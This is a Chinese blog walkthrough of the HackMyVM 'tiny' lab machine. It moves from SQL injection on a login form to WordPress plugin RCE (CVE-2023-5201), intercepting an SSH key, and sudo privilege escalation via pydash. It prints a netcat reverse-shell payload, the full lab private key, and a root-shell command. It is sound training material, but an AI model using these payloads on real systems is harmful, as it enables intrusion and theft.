打靶手记之hackmyvm--tiny-程序员宅基地

技术标签: 安全  web安全  运维  网络安全  打靶手记  

继续这个系列

信息收集

扫网段和端口

图片

开放了 22 80 8888

8888端口运行的代理服务,一会留意一下。

访问web,页面如下,一个WordPress的页面

图片

先来扫目录

dirsearch -w /usr/share/wordlists/dirb/big.txt -u 192.168.56.104

图片

其中几个关注的点

http://192.168.56.104/wp-includes/    没有可用信息

图片

第二个页面

访问http://192.168.56.104/wp-admin/会跳转到如下地址

图片

看上图的url,意思是用户登录成功后将他们重定向到指定的http://192.168.56.104/wp-admin/,这个wp-admin应该是管理员后台,reauth=1意味着要求我们重新验证身份

也就是说,给了我们一个域名tiny.hmv和一个管理员后台地址,但是访问域名是无法解析的

当然,这是因为该靶机用了基于名称的虚拟主机技术,它允许一个物理服务器托管多个网站域名。每个网站都有自t己的域名和可能的内容,简单理解就是多个网站共享一个IP地址。

所以这个域名在我们本地的DNS服务器中没有记录,我们需要手动把这个域名添加到hosts里

图片

然后就可以正常显示页面了

图片

还在robots.txt发现了一个子域名

图片

当然这个子域名也是需要添加到hosts里才能访问

图片

经典登录框,有什么思路呢?

之前文章里讲过xss钓管理员,但是这里后台并没有管理员,也没有弱口令,那就看看有没有sql注入

图片

有戏,上sqlmap

图片

下面经典爆库,爆表

图片

就两个表,information_schema也有wish的信息,看哪一个都无所谓了,但毕竟这是时间盲注,所以节省时间看wish_db的表好了

图片

看admin表的列

图片

看数据

图片

账号umeko,密码解密为f*ckt!(好脏的密码,打个码)

但是wish这个后台登录不进去,还记得之前那个admin的后台吗,用这个账号密码去试一下

图片

进来了

getshell

先看nday,比如添加wp-file-manager插件getshell,可是没有权限,同样也看不到已经安装了哪些插件

图片

那就看看其他插件有没有nday了,所以第一步需要fuzz出已经安装了哪些插件

插件名字典地址

https://github.com/RamadhanAmizudin/Wordpress-scanner/blob/master/base/data/list-plugins.txt

图片

对于akismet插件,由于没有权限编辑外观,无法getshell,只能看另外一个插件(thesis-openhook)了,找到一个远程命令执行的洞--CVE-2023-5201,产生漏洞的代码如下,原理就是eval() 函数可以执行 $content 变量中的PHP代码,造成RCE,感兴趣的读者可以去读一下。

https://plugins.trac.wordpress.org/browser/thesis-openhook/tags/4.3.1/inc/shortcodes.php?rev=2972840#L24

检验漏洞是否存在也很简单,只需要编辑welcome world那篇文章,加上相应的php代码就行了。如下

图片

访问,解析了表明存在

图片

来getshell

kali监听7777端口,然后继续编辑刚才那篇文章,加入以下内容

[php]<?php system('nc -e /bin/bash 192.168.56.101 7777'); ?>[/php]

图片

弹回来了,但是权限低

图片

提权

这个shell好不舒服,提升一下交互性

python3 -c 'import pty;pty.spawn("/bin/bash")'

刚才信息收集时遇到的那个8888端口,对应一个代理服务,说不定有用,那就看一下网络情况和进程

图片

图片

开了一个Tinyproxy代理服务。看一下配置信息

cat /etc/tinyproxy/tinyproxy.conf | grep -v '#' | grep . #排除了所有的注释行和空行

图片

从配置信息里可以看出所有流量会被转发到本地的1111端口。

监听一下1111端口,看一下收到的流量

图片

id_rsa是ssh的私钥,说明这里是通过http来访问id_rsa,也就是说从8000端口获取私钥,那么我们现在可以监听1111端口,把1111端口收到的流量转发到8000端口。我们就可以看到如下内容(即id_rsa内容)

socat -v tcp-listen:1111 tcp:localhost:8000

图片

复制下来写入id_rsa,并给600权限(文件所有者读写权限,其他用户无权限)

-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----

图片

连接ssh

图片

查看权限

图片

上面有一个car.py,看一下内容

图片

vic用户无需输入密码就能以任何用户权限运行car.py,也就是说这里可以用root权限运行该脚本,那就看一下这个脚本有没有洞

car.py里用到pydash库的objects.invoke()方法,这里存在命令执行

利用前提:

    当objects.invoke方法的第一个参数不是内置对象如list或dict(这里是一个car类),且第二个和第三个参数输入可控。

刚刚好,都满足,那就试一下如下命令,解释一下这条命令,sudo是以root权限运行(不用输入密码),第一个参数car是作为invoke的入口点,第二个参数是一个自定义的路径,意为去调用os.system方法去执行后面的命令(bash -p),bash -p是启动一个root权限的shell

sudo /usr/bin/python3 /opt/car.py __init__.__globals__.random._os.system "bash -p"

图片

成功提权,flag在/root下的root.txt里

往期文章

权限维持和排查

权限维持之加载动态链接库隐藏进程 tcp连接

继续谈维权手法之监控记录ssh su sudo账号密码 (qq.com)

别当初级猴子了,五分钟教你linux维权和排查思路,助你圆梦4k! (qq.com)

你不知道的win应急思路!从维权到排查,面试必问!不来看看?

只会netstat?最全应急排查网络连接思路,不学一下吗?

rootkit原理

初探rookit(另一种角度看维权) (qq.com)

从linux内核初窥LKM(抛砖引玉之rootkit隐藏进程 or tcp连接原理) (qq.com)

漏洞复现和利用手法

从0认识+识别+掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具

从0认识+识别+掌握thinkphp全漏洞(超详细看完拿捏tp)文末带工具

从0认识+识别+掌握spring全漏洞(1.8w字超详细看完拿捏spring)文末带工具 (qq.com)

浅谈宝塔渗透手法,从常见漏洞 聊到 宝塔维权 再到 bypass disable_functions原理

从Reids漏洞聊到getshell手法,再到计划任务和主从复制原理

遥遥领先!java内存马分析-[Godzilla-FilterShell] (qq.com)

浅分析 Apache Confluence [CVE-2023-22515]

再谈宝塔后门账号维权

浅谈jenkins后渗透

一些工具和原理

浅析HackBrowserData原理以及免杀思路(红队工具之获取目标机器浏览器记录 密码 cookie)

浅析 后渗透之提取微x 聊天记录原理and劫持tg 解密聊天记录原理

魔改蚁剑之零基础编写解码器

一些渗透手法

浅谈水坑攻击之结合xss平台钓鱼获取浏览器记录和微信数据

试听课--水坑攻击之xss平台钓鱼上线以及后渗透流程 (qq.com)

试听课之小白快速理解xss钓鱼原理和手法 以及后渗透流程 (qq.com)

从绕过disable_functions到关于so的一些想法

windows获取hash常见手法 (qq.com)

CDN+Nginx反向代理来隐藏c2地址

CDN和域名隐藏C2地址 (qq.com)

云函数实现隐藏c2地址 (qq.com)

一些杂谈

考研考公失败,无实习无经验,找不到工作?还有其他赛道吗?(qq.com)

晚睡+过度劳累=双杀阳气!五年赛博保安养生法教你如何快速补救!(食补篇) (qq.com)

2023秋招如此惨淡,还有必要继续学安全吗?教你如何破局0offer (qq.com)

赛博保安hw讨薪总结(针对学生党) (qq.com)

再加一个打靶系列

如何快速提升渗透能力?带你打靶场逐个击破hackmyvm之001gift (qq.com)

打靶手记之hackmyvm--UnbakedPie (qq.com)

打靶手机之hackmyvm--connection (qq.com)

打靶手记4

打靶手记 · 目录

上一篇如何快速提升渗透能力?带你打靶场逐个击破hackmyvm之001gift

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/milu_Sec/article/details/136050452

智能推荐

c# 调用c++ lib静态库_c#调用lib-程序员宅基地

文章浏览阅读2w次,点赞7次,收藏51次。四个步骤1.创建C++ Win32项目动态库dll 2.在Win32项目动态库中添加 外部依赖项 lib头文件和lib库3.导出C接口4.c#调用c++动态库开始你的表演...①创建一个空白的解决方案,在解决方案中添加 Visual C++ , Win32 项目空白解决方案的创建:添加Visual C++ , Win32 项目这......_c#调用lib

deepin/ubuntu安装苹方字体-程序员宅基地

文章浏览阅读4.6k次。苹方字体是苹果系统上的黑体,挺好看的。注重颜值的网站都会使用,例如知乎:font-family: -apple-system, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Microsoft YaHei, Source Han Sans SC, Noto Sans CJK SC, W..._ubuntu pingfang

html表单常见操作汇总_html表单的处理程序有那些-程序员宅基地

文章浏览阅读159次。表单表单概述表单标签表单域按钮控件demo表单标签表单标签基本语法结构<form action="处理数据程序的url地址“ method=”get|post“ name="表单名称”></form><!--action,当提交表单时,向何处发送表单中的数据,地址可以是相对地址也可以是绝对地址--><!--method将表单中的数据传送给服务器处理,get方式直接显示在url地址中,数据可以被缓存,且长度有限制;而post方式数据隐藏传输,_html表单的处理程序有那些

PHP设置谷歌验证器(Google Authenticator)实现操作二步验证_php otp 验证器-程序员宅基地

文章浏览阅读1.2k次。使用说明:开启Google的登陆二步验证(即Google Authenticator服务)后用户登陆时需要输入额外由手机客户端生成的一次性密码。实现Google Authenticator功能需要服务器端和客户端的支持。服务器端负责密钥的生成、验证一次性密码是否正确。客户端记录密钥后生成一次性密码。下载谷歌验证类库文件放到项目合适位置(我这边放在项目Vender下面)https://github.com/PHPGangsta/GoogleAuthenticatorPHP代码示例://引入谷_php otp 验证器

【Python】matplotlib.plot画图横坐标混乱及间隔处理_matplotlib更改横轴间距-程序员宅基地

文章浏览阅读4.3k次,点赞5次,收藏11次。matplotlib.plot画图横坐标混乱及间隔处理_matplotlib更改横轴间距

docker — 容器存储_docker 保存容器-程序员宅基地

文章浏览阅读2.2k次。①Storage driver 处理各镜像层及容器层的处理细节,实现了多层数据的堆叠,为用户 提供了多层数据合并后的统一视图②所有 Storage driver 都使用可堆叠图像层和写时复制(CoW)策略③docker info 命令可查看当系统上的 storage driver主要用于测试目的,不建议用于生成环境。_docker 保存容器

随便推点

网络拓扑结构_网络拓扑csdn-程序员宅基地

文章浏览阅读834次,点赞27次,收藏13次。网络拓扑结构是指计算机网络中各组件(如计算机、服务器、打印机、路由器、交换机等设备)及其连接线路在物理布局或逻辑构型上的排列形式。这种布局不仅描述了设备间的实际物理连接方式,也决定了数据在网络中流动的路径和方式。不同的网络拓扑结构影响着网络的性能、可靠性、可扩展性及管理维护的难易程度。_网络拓扑csdn

JS重写Date函数,兼容IOS系统_date.prototype 将所有 ios-程序员宅基地

文章浏览阅读1.8k次,点赞5次,收藏8次。IOS系统Date的坑要创建一个指定时间的new Date对象时,通常的做法是:new Date("2020-09-21 11:11:00")这行代码在 PC 端和安卓端都是正常的,而在 iOS 端则会提示 Invalid Date 无效日期。在IOS年月日中间的横岗许换成斜杠,也就是new Date("2020/09/21 11:11:00")通常为了兼容IOS的这个坑,需要做一些额外的特殊处理,笔者在开发的时候经常会忘了兼容IOS系统。所以就想试着重写Date函数,一劳永逸,避免每次ne_date.prototype 将所有 ios

如何将EXCEL表导入plsql数据库中-程序员宅基地

文章浏览阅读5.3k次。方法一:用PLSQL Developer工具。 1 在PLSQL Developer的sql window里输入select * from test for update; 2 按F8执行 3 打开锁, 再按一下加号. 鼠标点到第一列的列头,使全列成选中状态,然后粘贴,最后commit提交即可。(前提..._excel导入pl/sql

Git常用命令速查手册-程序员宅基地

文章浏览阅读83次。Git常用命令速查手册1、初始化仓库git init2、将文件添加到仓库git add 文件名 # 将工作区的某个文件添加到暂存区 git add -u # 添加所有被tracked文件中被修改或删除的文件信息到暂存区,不处理untracked的文件git add -A # 添加所有被tracked文件中被修改或删除的文件信息到暂存区,包括untracked的文件...

分享119个ASP.NET源码总有一个是你想要的_千博二手车源码v2023 build 1120-程序员宅基地

文章浏览阅读202次。分享119个ASP.NET源码总有一个是你想要的_千博二手车源码v2023 build 1120

【C++缺省函数】 空类默认产生的6个类成员函数_空类默认产生哪些类成员函数-程序员宅基地

文章浏览阅读1.8k次。版权声明:转载请注明出处 http://blog.csdn.net/irean_lau。目录(?)[+]1、缺省构造函数。2、缺省拷贝构造函数。3、 缺省析构函数。4、缺省赋值运算符。5、缺省取址运算符。6、 缺省取址运算符 const。[cpp] view plain copy_空类默认产生哪些类成员函数

推荐文章

热门文章

相关标签